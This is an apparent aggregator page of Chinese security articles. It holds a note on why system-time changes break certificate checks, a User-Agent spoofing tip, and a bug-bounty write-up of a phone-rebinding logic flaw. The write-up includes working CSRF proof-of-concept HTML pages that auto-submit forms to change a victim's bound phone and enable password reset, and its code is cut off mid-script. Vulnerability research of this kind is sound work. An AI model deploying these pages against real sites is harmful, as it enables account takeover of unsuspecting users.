阅读本文大概需要3分钟。网上经常有教程告诉大家,修改系统时间到XXXX即可一直免费使用某款软件。但是有的人在修改了系统时间以后会发现,自己电脑或手机上的某些软件就无法正常使用了:计算机系统中,受到系统时间影响最大的应该就是加密和签名算法了。因为加密通信在设计的时候通常会考虑到防御重放攻击,为了解决这个问题,必然需要检验数据的时间戳,如果系统的时间不对,就可能导致校验失败,进而导致软件出现故障。关于这一块的细节,HTTPS的实现中有详细的说明可以参考:https://tools.ietf.org/html/rfc2660另外,还有一个更好理解的例子。大家都知道https证书有一个很重要的属性是到期时间,通常来说一个普通网站的证书只有一年时间。那么,如果你将系统时间设置为一个一年以后的时间,这时候浏览器就会认为这个网站的https证书已经过期了,自然就无法让你正常访问这个网站了。这时候你一般会在电脑上看到这样的页面:作为一个安全从业者,不论是防止设备出现安全问题,还是避免软件出现不能访问的情况,我给大家准备了下面三个建议:不要随便修改系统中的时间对于可以联网的设备,请配置NTP服务,NTP服务可以自动对系统时间进行校准不要使用破解软件 本文始发于微信公众号(代码审计):为什么修改系统时间会导致一些软件出现故障
阅读全文
漏洞挖掘之众测厂商绑定手机处逻辑漏洞-可导致用户密码给修改 安全文章

漏洞挖掘之众测厂商绑定手机处逻辑漏洞-可导致用户密码给修改

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。授权转载,文章来源:“P喵呜-PHPoop” 语雀0x01 漏洞描述网站铭感操作没有添加csrf_token并且手机绑定流程可被绕过用户可被钓鱼修改手机号码,从而导致用户密码给重置0x02 漏洞讲解功能点:用户手机号码修改正常的绑定流程:用户点击修改手机号码自动向原手机号码发送短信用户输入原手机接收到的短信验证码确定正确以后,后端设置一个用于绑定新手机的session然后跳转/打开绑定手机的窗口用户输入新手机号码获取新手机号码验证码用户提交验证码后端先判断是否通过了原手机验证,然后在验证现手机号码是否正确如果通过则修改当前用户手机号码该厂商绑定流程:用户点击修改手机号码自动向手机号码发送短信用户输入原手机接收到的短信验证码确定正确以后直接跳转绑定手机的窗口用户输入新手机号码获取新手机号码验证码用户提交验证码后端判断现手机号码是否正确如果通过则修改当前用户手机号码通过我这个简单的梳理可以看到,厂商没有在绑定新手机号时在次验证一次原手机号码是否通过,导致我们可以直接调用绑定手机号码的接口,而忽略验证接口,最终导致用户给修改了手机号码。0x03 漏洞简单演示注:  文章中的项目地址统一修改为: a.test.com,保护厂商也保护自己整个绑定过程中有3个接口分别是:1. 发送短信的接口https://a.test.com/user/info/send_code 2. 验证原手机号码是否正确的接口https://a.test.com/user/info/check_bind_phone 3. 绑定新手机号码的接口https://a.test.com/user/info/modify_bind_phone 值得一提的是这个站点所有的验证码都是https://a.test.com/user/info/send_code这个接口,所以其实存在大量的短信验证码覆盖问题例如说:绑定手机获取的验证码可以用在手机找回处,好了多的不说了。我们可以直接写一个脚本攻击方:准备一台外网服务器:127.0.0.1创建页面一:send_code.html<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>点我发送验证码~</title><script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script><script src="http://cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script></head><body> <form action="https://a.test.com/user/info/send_code" method="post"> <input type="hidden" value="17157727034" name="mobile"> <input type="submit" name="小帅哥快来玩啊" id="send_code" style="display:none;"></form></body></html><script>if ($.cookie('csrf_test') != 'ok') { $.cookie('csrf_test', 'ok'); $("#send_code").click(function () { window.open("http://127.0.0.1/modify_bind_phone.html"); }); $("#send_code").click();} else { $.cookie('csrf_test', null); window.opener = null; // JS重写当前页面 window.open("", "_self", ""); // 顺理成章的关闭当前被重写的窗口 window.close();}</script>创建页面二:modify_bind_phone.html<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>我~修改你绑定手机号码</title> <script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script> </head> <body> <form action="https://a.test.com/user/info/modify_bind_phone" method="post"> <input type="hidden" value="17157727034" name="mobile" /> <input type="hidden" value="" name="code" id="code" /> <input type="submit" name="点我瞬间爆炸" style="display:none;" id="modify_bind_phone" /> </form> <script>i =...
阅读全文
【奇技淫巧】最简单的方法--修改User-Agent OR 模拟浏览器你还在用安装插件! 安全文章

【奇技淫巧】最简单的方法--修改User-Agent OR 模拟浏览器你还在用安装插件!

        修改User-Agent OR 模拟浏览器你还在用安装插件!!        安装插件太费时了,小菜只说最简单的:        google浏览器打开网页后, 先按F12,再按一下ctrl+shift+M 即可        推荐的理由:google原生,非插件,不用担心数据安全模拟微信:mozilla/5.0 (linux; u; android 4.1.2; zh-cn; mi-one plus build/jzo54k) applewebkit/534.30 (khtml, like gecko) version/4.0 mobile safari/534.30 micromessenger/5.0.1.352 本文始发于微信公众号(T00ls):【奇技淫巧】最简单的方法--修改User-Agent OR 模拟浏览器你还在用安装插件!
阅读全文